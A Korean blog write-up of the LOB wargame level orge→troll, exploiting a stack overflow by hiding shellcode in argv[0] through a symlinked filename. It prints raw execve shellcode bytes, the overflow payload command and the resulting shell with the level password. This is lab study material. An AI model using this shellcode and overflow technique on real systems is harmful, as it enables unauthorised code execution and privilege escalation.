문제 소스 코드.

인자 두 개 고정, 환경 변수 초기화, argv[1] 초기화!

그런데 스택에 쉘을 삽입하라는 문제이다.


쉘을 어디에 삽입할 수 있을까? 우리에겐 아직 초기화되지 않은 데이터가 하나 남아있다.



사실 필자가 이 글을 쓰면서 이 문제와 다른 문제를 착각했다!(...)

우리는 argv[0]이 초기화되지 않았다는 사실을 알고있다. 고로 이 문제는 argv[0]을 활용하는 문제이다.


필요없는 설명은 갈색으로 음영처리 해놓았으니, 참고만 하면 하도록 하자.


tmp 디렉토리를 만들고 GDB에서 바이너리를 실행해보도록 하자.

breakpoint를 걸 곳을 찾기 위해 파일을 디스어셈블한다.


gdb -q ./troll

disas(semble) main



b*main+317

r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`


스택 프레임을 정리하는 leave 명령이 실행되기 전에 breakpoint를 걸자.

코드에 있는 모든 초기화 작업이 완료된 후의 스택 메모리를 보기 위함이다.

그 후 실행을 하면 프로그램이 브레이크포인트에 걸리게 된다.



x/10000s $esp


메모리를 일일히 확인해보자노가다

10000s는 10000개를 string 형태로 보여달라는 말이다.

$esp는 esp 레지스터부터 보자는 뜻.



메모리를 찾아보니 argv[0]의 값이 남아있는 것을 확인할 수 있다.

메모리가 argv[1]만 초기화했기 때문이다.

우리는 이를 쉘코드 삽입 영역으로 이용할 수 있다.



유저 영역 메모리 맨 끝에 하나가 더 있는 것을 확인할 수 있다.

이 값들의 사이에는 환경변수들이 있었고, 지금은 초기화 된 상태이다.

이 값들은 환경변수가 아니기에 초기화가 되지 않고 아직도 남아있는 것이다.




스택 메모리에는 argv[0]이 남아있을 것이다.

자 이제 argv[0]에 쉘코드를 어떻게 삽입할까?



알다시피 argv[0]은 파일이름을 통해 조작할 수 있다.

파일이름을 nop과 shellcode으로 하면 argv[0]에 쉘코드를 삽입할 수 있다.


그런데! 필자가 사용하던 24 bytes 쉘코드는 \x2f를 포함하고 있다. \x2f는 '/'로써, 디렉토리 구분 인자다.

즉, 파일 이름에는 \x2f는 포함되어선 안된다.

방법은 두 가지이다. \x2f마다 해당 이름의 디렉토리를 생성하는 것이다.

또는 \x2f가 없는 쉘코드를 사용하는 것이다. 필자는 이 방법을 추천한다(더 편리함)


필자가 사용한 쉘코드는 다음과 같다.


\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


24 bytes 쉘코드는 이것이다.


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80


이제 이름 길이만 신경쓰면 파일이름에 쉘코드를 포함시킬 수 있을 것이다.

이제 payload를 작성할 차례!



파일을 실행하고 argv[1]을 통해 RET를 overwrite하였다.

core 파일을 통해 쉘코드의 주소를 확인하자.

쉘코드는 두 곳을 사용할 수 있었다.

다음 명령어를 입력해보자.


x/10000s $esp


argv[0]



실제로 exploit을 시도해보면, 메모리 맨 끝에 있는 쉘코드는 사용할 수가 없는 것을 알 수 있다.



왜 이렇게 되는걸까?


설명하자면 길지만, 간단하게 말하면

쉘코드를 디스어셈블 해보면, 이 쉘코드는 쉘코드의 바로 뒤 영역을 사용하게 된다.

즉, 커널 영역을 침범하게 되기 때문에 seg fault가 발생하는 것이다.

core 파일을 확인해보면 쉘코드 중간에서 EIP가 멈춘 것을 확인할 수 있는데, 이 부분이 커널 영역을 침범하게되는 부분이다.

이 영역을 사용하려면 약간의 조치만 취해주면 된다.

앞의 nop 문자를 약간 뺴고 쉘코드의 뒤에 아무 문자나 넣어주면 그만큼 공간이 생기기 때문에, 이 영역도 사용할 수 있다.


여유가 된다면 이 내용에 대해 따로 포스팅하겠다.


다시 본론으로 돌아와서, 어쨌든 쉘을 얻을 수 있으므로

늘 그래왔듯이 심볼릭 링크를 통해 troll의 쉘을 얻어보자.




argv[0]이라고 설명이 붙어있는 사진을 보면, 0xbffff946에 argv[0]이 있는 것을 확인할 수 있다.

nop+shellcode는 0xbffff948부터 시작한다.

이제 RET에 0xbffff948을 입력하면 exploit이 성공할 것이다!



[orge@localhost dirtroll]$ ln -sf ~/troll `python -c 'print "\x90"'`*

[orge@localhost dirtroll]$ ls -l

total 60

-rw-------    1 orge     orge        61440 Nov  8 22:12 core

lrwxrwxrwx    1 orge     orge           16 Nov  8 22:20 ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????龞1ɱ2?l?ÿ??羵ꀨ쀿ÿ2i00tii0cjo?㐔?࿱?̿ -> /home/orge/troll

[orge@localhost dirtroll]$ ./`python -c 'print "\x90"'`* `python -c 'print "A"*44+"\x48\xf9\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH

bash$ id

uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)

bash$ my-pass

euid = 508

aspirin


<설명>

ln 사용 시 -f 는 파일이 존재해도 무시하는 옵션이고, ``를 닫고 *를 쓴 것은, *을 와일드 카드로 사용한 것이다.

rm *를 하면 디렉토리 내 모든 파일을 삭제하는 명령이듯이, \x90로 시작하는 모든 파일을 가리키는 것이다.

링크할 때도, 실행할 때도 저렇게 사용할 수 있다.

그리고 RET 영역을 0xbffff946으로 변조해도 쉘이 잘 실행된다. './'을 기계어로 취급하여 수행해도 쉘코드 실행에 문제가 되지 않기 때문이다.



필자는 nop 영역 시작 부분으로 RET 영역을 변조하여 troll의 쉘을 얻어내고 패스워드를 알아낼 수 있었다.


troll의 패스워드는 aspirin


'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB vampire -> skeleton  (0) 2015.11.14
LOB troll -> vampire  (0) 2015.11.13
LOB darkelf -> orge  (0) 2015.11.13
LOB wolfman -> darkelf  (0) 2015.11.13
LOB orc -> wolfman  (0) 2015.11.13

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/